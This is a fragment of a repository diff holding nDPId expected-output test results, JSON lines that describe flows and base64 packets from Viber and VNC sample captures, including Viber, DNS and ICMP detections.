+00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":359,"source":"viber.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1527155679411,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.3","src_port":38190,"dst_port":7987,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":411435,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AA6OMNv9MAdNo1+nCABFiAA+f+RAAEAR4r3AqAAREskEA5UuHzMAKui4BbgZADUY9RiYZORHJd9NTuHNNxtcmrwm2dMLSwG7ObMAAA=="} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":359,"source":"viber.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1527155679411,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.3","src_port":38190,"dst_port":7987,"l4_proto":"udp","ndpi": {"proto":"Viber","breed":"Acceptable","category":"VoIP"}} +00415{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":413920,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"AA6OMNv9MAdNo1+nCABFiAAuf+VAAEAR4szAqAAREskEA5UuHzEAGscOBbgRAAEAAAAuCDgEAAAHridU"} +00419{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":413995,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwf+ZAAEAR4snAqAAREskEA5UuHzEAHM1MBbgJAPtbkpFjAQAANRj1GJhk5Ec="} +00497{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":443071,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABopnVAACsR0YoSyQQDwKgAER8xlS4AVO7dBbgMAAEANRj1GJhk5EcyQ3xeLpX3W5KRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00419{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":443387,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"MAdNo1+nAA6OMNv9CABFAAAwpnZAACsR0cESyQQDwKgAER8zlS4AHM86BbgaADUY9RiYZORHMkN8Xi6VAMg="} +00436{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":443640,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAACsGeDcSyQQDwKgAEQG7g9B0pK754BrfMKASaN\/EGgAAAgQFtAQCCAoA5FGtACGISQEDAwc="} +00423{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":444692,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0V2dAAEAGC9jAqAAREskEA4PQAbvgGt8wdKSu+oAQAq1ZEAAAAQEICgAhiFIA5FGt"} +00439{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":445375,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"MAdNo1+nAA6OMNv9CABFAAA+pnhAACsR0bESyQQDwKgAER8xlS4AKrsaBbgLAPtbkpFjAQAAwWCSkWMBAAAAAAAAAAAAAAAAAAAAAA=="} +00741{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":919523,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdgANAAEAR4b\/AqAAREskEA5UuHzEBCYKIBbgBAAUANRj1GJhk5EcHridUEQCowC6VMgAAAEMBABACAPBdkpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAGwkdkSv31AWZshbdezAt4SmQgEbXQ8gpESKVZEPm+yytcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB5uFWVzUfaXQ0M3vaCGMsqmTdbCfozZ\/zqH+JIqYi5FwJxF9FtZzMCe4fSWSiPbd2F4Cheq4HGNZc7T0drq5c4IAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00497{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":951066,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABop4JAACsR0H0SyQQDwKgAER8xlS4AVPTbBbgMAAIANRj1GJhk5EcyQ3xeLpXwXZKRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00419{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":416431,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwgFdAAEAR4ljAqAAREskEA5UuHzEAHONIBbgJAOVfkpFjAQAANRj1GJhk5Ec="} +00408{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":418540,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OMNv9MAdNo1+nCABFiAAogFhAAEAR4l\/AqAAREskEA5UuHzEAFDEnBbgOAAAAAAAHridU"} +00744{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":425210,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdgFpAAEAR4WjAqAAREskEA5UuHzEBCfL3BbgBAAUANRj1GJhk5EcHridUEQCowC6VMgAAAEMBABADAOZfkpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAGwkdkSv31AWZshbdezAt4SmQgEbXQ8gpESKVZEPm+yytcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDBwi76Swr0MOTz\/c5hajJVU6voPOM8+w36FJ4OkGE\/tR24fyv\/CaoMEnpxJXj\/PN1kLEo0ZZ0uL9MCA0UlpQljokAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00440{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":447716,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"MAdNo1+nAA6OMNv9CABFAAA+p+BAACsR0EkSyQQDwKgAER8xlS4AKukSBbgLAOVfkpFjAQAAqWSSkWMBAAAAAAAAAAAAAAAAAAAAAA=="} +00498{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":456436,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABop+RAACsR0BsSyQQDwKgAER8xlS4AVP3ZBbgMAAMANRj1GJhk5EcyQ3xeLpXmX5KRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00740{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":930533,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdgKpAAEAR4RjAqAAREskEA5UuHzEBCQoaBbgBAAUANRj1GJhk5EcHridUEQCowC6VMgAAAEMBABAEAONhkpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAGwkdkSv31AWZshbdezAt4SmQgEbXQ8gpESKVZEPm+yytcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB9DmD+jAgz+1QPoVxa1oGy5FCWmigjpujQmQ+eyliMV67TFt7n7QCPfcsBILiupGCOx7jtQ6ZaY8kVB+OFA+3okAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00499{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155680,"pkt_ts_usec":961840,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABoqKpAACsRz1USyQQDwKgAER8xlS4AVP\/XBbgMAAQANRj1GJhk5EcyQ3xeLpXjYZKRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00420{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155681,"pkt_ts_usec":421332,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwgLpAAEAR4fXAqAAREskEA5UuHzEAHPpEBbgJAM5jkpFjAQAANRj1GJhk5Ec="} +00422{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":97548,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0V2hAAEAGC9fAqAAREskEA4PQAbvgGt8wdKSu+oARAq1TiwAAAQEICgAhjdYA5FGt"} +00425{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":130784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0\/ypAACsGeRQSyQQDwKgAEQG7g9B0pK764BrfMYARANI\/LQAAAQEICgDkZ+UAIY3W"} +00423{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":132180,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0V2lAAEAGC9bAqAAREskEA4PQAbvgGt8xdKSu+4AQAq09SAAAAQEICgAhjeAA5Gfl"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":421,"source":"viber.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1527155685529,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":50097,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":529875,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8KqJAAEARjp7AqAARwKgAD8OxADUAKKNciEIBAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":421,"source":"viber.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1527155685529,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":50097,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00455{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":530485,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"MAdNo1+nAA6OMNv9CABFAABMZZhAAEARU5jAqAAPwKgAEQA1w7EAOLypiEKBgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAABfAATYOs1k"} +00659{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":422,"source":"viber.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":2,"flow_first_seen":1527155685529,"flow_last_seen":1527155685530,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":50097,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.58.205.100"}} +00449{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":423,"source":"viber.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1527155685757,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +02361{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":757293,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AA6OMNv9MAdNo1+nCABFAAXcfu9AAEABNMHAqAARwKgADwgA3UOrGAABMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVI="} +00481{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":423,"source":"viber.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1527155685757,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +02361{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155685,"pkt_ts_usec":757669,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcOTwAAEABunTAqAAPwKgAEQAA5UOrGAABMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWl9fMTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaX18xMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpfXzEyMzQ1Njc4OTBBQkNERUZHSElKS0xNTk9QUVI="} diff --git a/test/results/vnc.pcap.out b/test/results/vnc.pcap.out new file mode 100644 index 000000000..1bd01bf63 --- /dev/null +++ b/test/results/vnc.pcap.out @@ -0,0 +1,34 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"vnc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1476111264364,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"95.237.48.208","dst_ip":"192.168.2.110","src_port":59791,"dst_port":6900,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"vnc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1476111264,"pkt_ts_usec":364066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EP7tAkntxOodxQGGCABFAAA0Xs1AAHQGVCNf7TDQwKgCbumPGvTqxTBkAAAAAIACIADbnAAAAgQFrAEDAwIBAQQC"} 